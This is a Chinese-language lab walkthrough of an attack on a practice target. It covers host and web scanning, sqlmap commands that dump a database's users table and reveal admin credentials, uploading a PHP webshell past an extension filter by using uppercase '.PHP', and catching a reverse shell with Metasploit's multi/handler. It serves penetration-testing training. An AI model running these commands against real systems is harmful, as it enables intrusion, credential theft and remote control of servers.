Background
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的产生原因通常表现在以下几个方面:
- 不当的类型处理;
- 不安全的数据库配置;
- 不合理的查询集处理;
- 不当的错误处理;
- 转义字符处理不合适;
- 多个提交处理不当;
实验环境
攻击机: 192.168.43.44
靶场机器: 192.168.43.201
信息探测
扫描主机服务信息以及版本
– nmap -sV 192.168.43.44
发现开放了ssh、http服务
探测敏感信息
探测http服务隐藏的目录文件
– nikto -host 192.168.43.201
发现一个管理员登陆页面
这里可以尝试可不可以弱口令登陆,不过失败了
漏洞扫描
OWASP ZAP,全称:OWASP Zed Attack Proxy攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助我们在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
用OWASP-ZAP对这个站点进行扫描
输入url开始攻击,等待扫描完成
发现一个get请求的url存在sql注入漏洞(存在漏洞参数:id)
数据库爆破
知道存在sql注入漏洞,就用sqlmap来爆破站点的数据库
爆数据库
1 | root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" --dbs |
发现两个数据库,一个是元数据库,那么另一个就是站点的数据库了
接下来就是表名和列名了
爆表名【categories|pictures|users】
1 | sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog --tables |
爆列名【id|login|password】
1 | root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog -T users --columns |
爆字段内容
1 | root@kali:~# sqlmap -u "http://192.168.43.201/cat.php?id=1" -D photoblog -T users -C login,password --dump |
获得管理员账号密码
- 账号:admin
- 密码:P4ssw0rd
上传webshell
获取了管理员权限,尝试获取shell
试着上传webshell
有时候也可以通过sqlmap直接获取shell(数据库管理账号权限足够大)
1 | sqlmap -u "http://192.168.43.201/cat.php?id=1" --os-shell |
发现一个上传点
(虽然是图片,但是可能上传文件格式并没有做什么限制)
制作一个php语言的webshell
将代码保存成一个Webshell.php文件
点击上传
发现上传失败,试着修改后缀为大写PHP(webshell.PHP)
上传成功
获取shell
用msf工具监听获取返回的shell
1 | msf5 > use exploit/multi/handler |
访问刚刚上传的“图片”
再回来看返回的shell
此时就获得了网站的shell;